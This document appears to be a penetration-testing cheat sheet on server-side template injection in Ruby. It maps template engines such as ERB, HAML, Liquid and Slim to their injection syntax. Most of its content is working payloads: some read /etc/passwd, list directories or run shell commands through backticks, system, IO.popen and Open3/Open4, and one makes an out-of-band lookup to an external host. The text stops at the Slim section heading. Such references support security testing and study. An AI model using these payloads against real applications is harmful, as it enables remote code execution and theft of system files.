Server Side Template Injection - Ruby

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation.

Summary

Templating Libraries

Template Name Payload Format
Erb <%= %>
Erubi <%= %>
Erubis <%= %>
HAML #{ }
Liquid {{ }}
Mustache {{ }}
Slim #{ }

Ruby

Ruby - Basic injections

ERB:

<%= 7 * 7 %>

Slim:

#{ 7 * 7 }

Ruby - Retrieve /etc/passwd

<%= File.open('/etc/passwd').read %>

Ruby - List files and directories

<%= Dir.entries('/') %>

Ruby - Remote Command execution

Execute code using SSTI for Erb,Erubi,Erubis engine.

<%=(`nslookup oastify.com`)%>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require  'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Execute code using SSTI for Slim engine.
